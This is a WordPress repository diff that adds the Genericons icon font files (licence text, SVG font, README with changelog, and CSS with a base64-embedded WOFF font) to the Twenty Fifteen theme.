+Genericons is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
+
+The fonts are distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+As a special exception, if you create a document which uses this font, and embed this font or unaltered portions of this font into the document, this font does not by itself cause the resulting document to be covered by the GNU General Public License. This exception does not however invalidate any other reasons why the document might be covered by the GNU General Public License. If you modify this font, you may extend this exception to your version of the font, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version.
+
+This license does not convey any intellectual property rights to third party trademarks that may be included in the icon font; such marks remain subject to all rights and guidelines of use of their owner.
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/Genericons.svg
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/Genericons.svg	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/Genericons.svg	(revision 56912)
@@ -0,0 +1,543 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
+<!--
+2014-10-3: Created.
+-->
+<svg xmlns="http://www.w3.org/2000/svg">
+<metadata>
+Created by FontForge 20120731 at Fri Oct  3 09:39:07 2014
+ By Joen
+Created by Joen with FontForge 2.0 (http://fontforge.sf.net)
+</metadata>
+<defs>
+<font id="Genericons" horiz-adv-x="2048" >
+  <font-face 
+    font-family="Genericons"
+    font-weight="500"
+    font-stretch="normal"
+    units-per-em="2048"
+    panose-1="2 0 6 9 0 0 0 0 0 0"
+    ascent="2048"
+    descent="0"
+    bbox="-0.0140489 0 2048.01 2048"
+    underline-thickness="102.4"
+    underline-position="-204.8"
+    unicode-range="U+F100-F517"
+  />
+    <missing-glyph />
+    <glyph glyph-name="uniF413" unicode="&#xf413;" 
+d="M256 1280c565.504 0 1024 -458.496 1024 -1024h-256c0 423.552 -344.448 768 -768 768v256zM256 1792c848.256 0 1536 -687.744 1536 -1536h-256c0 705.792 -574.208 1280 -1280 1280v256zM448 640c106.112 0 192 -86.0156 192 -192s-85.8877 -192 -192 -192
+s-192 86.0156 -192 192s85.8877 192 192 192z" />
+    <glyph glyph-name="uniF462" unicode="&#xf462;" 
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Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/LICENSE.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/LICENSE.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/LICENSE.txt	(revision 56912)
@@ -0,0 +1,339 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
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+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License along
+    with this program; if not, write to the Free Software Foundation, Inc.,
+    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) year name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/README.md
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/README.md	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/README.md	(revision 56912)
@@ -0,0 +1,152 @@
+## Genericons
+
+Genericons are vector icons embedded in a webfont designed to be clean and simple keeping with a generic aesthetic.
+
+Use genericons for instant HiDPI, to change icon colors on the fly, or even with CSS effects such as drop-shadows or gradients!
+
+
+### Usage
+
+To use it, place the `font` folder in your stylesheet directory and enqueue the genericons.css file. Now you can create an icon like this:
+
+```
+.my-icon:before {
+	content: '\f101';
+	font: normal 16px/1 'Genericons';
+	display: inline-block;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+```
+
+This will output a comment icon before every element with the class "my-icon". The `content: '\f101';` part of this CSS is easily copied from the helper tool at http://genericons.com/, or `example.html` in the `font` directory.
+
+You can also use the bundled example.css if you'd rather insert the icons using HTML tags.
+
+
+### Notes
+
+**Photoshop mockups**
+
+The `Genericons.ttf` file found in the `font` directory can be placed in your system fonts folder and used Photoshop or other graphics apps if you like.
+
+If you're using Genericons in your Photoshop mockups, please remember to delete the old version of the font from Font Book, and grab the new one from the zip file. This also affects using it in your webdesigns: if you have an old version of the font installed locally, that's the font that'll be used in your website as well, so if you're missing icons, check for old versions of the font on your system.
+
+**Pixel grid**
+
+Genericons has been designed for a 16x16px grid. That means it'll look sharp at font-size: 16px exactly. It'll also be crisp at multiples thereof, such as 32px or 64px. It'll look reasonably crisp at in-between font sizes such as 24px or 48px, but not quite as crisp as 16 or 32. Please don't set the font-size to 17px, though, that'll just look terrible blurry.
+
+**Antialiasing**
+
+If you keep intact the `-webkit-font-smoothing: antialiased;` and `-moz-osx-font-smoothing: grayscale;` CSS properties. That'll make the icons look their best possible, in Firefox and WebKit based browsers.
+
+**optimizeLegibility**
+
+Note: On Android browsers with version 4.2, 4.3, and probably later, Genericons will simply not show up if you're using the CSS property "text-rendering" set to "optimizeLegibility.
+
+**Updates**
+
+We don't often update icons, but do very carefully when we get good feedback suggesting improvements. Please be mindful if you upgrade, and check that the updated icons behave as you intended.
+
+
+### Changelog
+
+**3.2**
+
+A number of new icons and a couple of quick updates. 
+
+* New: Activity
+* New: HTML anchor
+* New: Bug
+* New: Download
+* New: Handset
+* New: Microphone
+* New: Minus
+* New: Plus
+* New: Move
+* New: Rating stars, empty, half, full
+* New: Shuffle
+* New: video camera
+* New: Spotify
+* New: Twitch
+* Update: Fixed geometry in Edit icon
+* Update: Updated Foursquare icon
+
+Twitch and Spotify mark the last social icons that will be added to Genericons.
+Future social icons will have to happen in a separate font. 
+
+**3.1**
+
+Genericons is now generated using a commandline tool called FontCustom. This makes it far easier to add new icons to the font, but the switch means the download zip now has a different layout, fonts have different filenames, there's now no .otf font included (but the .ttf should suffice), and the font now has slightly different metrics. I've taken great care to ensure this new version should work as a drop-in replacement, but please be mindful and test carefully if you choose to upgrade.
+
+* Per feedback, the baked-in 16px width and height has been removed from the helper CSS. It wasn't really necessary (the glyph itself has these dimensions naturally), and it caused some headaches.
+* Base64 encoding is now included by default in the helper CSS. This makes it drop-in easy to get Genericons working in Firefox even when using a CDN. 
+* Title attribute on website tool.
+* New: Website.
+* New: Ellipsis.
+* New: Foursquare.
+* New: X-post.
+* New: Sitemap.
+* New: Hierarchy.
+* New: Paintbrush.
+* Updated: Show and Hide icons were updated for clarity.
+
+**3.0.3**
+
+Bunch of updates mostly.
+
+* Two new icons, Dropbox and Fullscreen.
+* Updates to all icons containing an exclamation mark.
+* Updates to Image and Quote.
+* Nicer "Share" icon.
+* Bigger default Linkedin icon.
+
+**3.0.2**
+
+A slew of new stuff and updates.
+
+* Social icons: Skype, Digg, Reddit, Stumbleupon, Pocket.
+* New generic icons: heart, lock and print.
+* New editing icons: code, bold, italic, image
+* New interaction icons: subscribe, unsubscribe, subscribed, reply all, reply, flag.
+* The hyperlink icon has been updated to be clearer, chunkier.
+* The "home" icon has been updated for style, size and clarity.
+* The email icon has been updated for style and clarity, and to fit with the new subscribe icons.
+* The document icon has been updated for style.
+* The "pin" icon has been updated for style and clarity.
+* The Twitter icon has been scaled down to fit with the other social icons.
+
+**3.0.1**
+
+Mostly maintenance. 
+
+* Fixed an issue with the example page that showed an old "top" icon instead of the actual NEW "refresh" icon.
+* Added inverse Google+ and Path.
+* Replaced tabs with spaces in the helper CSS.
+* Changed the Genericons.com copy/paste tool to serve span's instead of div's for casual icon insertion. It's being converted to "inline-block" anyway.
+
+**3.0**
+
+Mainly maintenance and a few new icons.
+
+* Fast forward, rewind, PollDaddy, Notice, Info, Help, Portfolio
+* Updated the feed icon. It's a bit smaller now for consistency, the previous one was rather big.
+* So, the previous version numbering, 2.09, wasn't very PHP version compare friendly. So from now on it'll be 3.0, 3.1 etc. Props Ipstenu.
+* Genericons.com now has a mini release blog.
+* The CSS has prettier formatting, props Konstantin Obenland.
+
+**2.09**
+
+Updated Facebook icon to new version. Updated Instagram logo to use new one-color version. Updated Google+ icon to use same radius as Instagram and Facebook. Added a bunch of new icons, cog, unapprove, cart, media player buttons, tablet, send to tablet.                                            
+
+**2.06**
+
+Included Base64 encoded version. This is necessary for Genericons to work with CDNs in Firefox. Firefox blocks fonts linked from a different domain. A CDN (typically s.example.com) usually puts the font on a subdomain, and is hence blocked in Firefox.
+
+**2.05**
+
+Added a bunch of new icons, including upload to cloud, download to cloud, many more.
+
+**2.0**
+
+Initial public release
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/genericons.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/genericons.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/genericons.css	(revision 56912)
@@ -0,0 +1,209 @@
+/**
+
+	Genericons
+
+*/
+
+
+/* IE8 and below use EOT and allow cross-site embedding.
+   IE9 uses WOFF which is base64 encoded to allow cross-site embedding.
+   So unfortunately, IE9 will throw a console error, but it'll still work.
+   When the font is base64 encoded, cross-site embedding works in Firefox */
+
+@font-face {
+    font-family: 'Genericons';
+    src: url('Genericons.eot');
+}
+
+@font-face {
+    font-family: 'Genericons';
+    src: url(data:application/font-woff;charset=utf-8;base64,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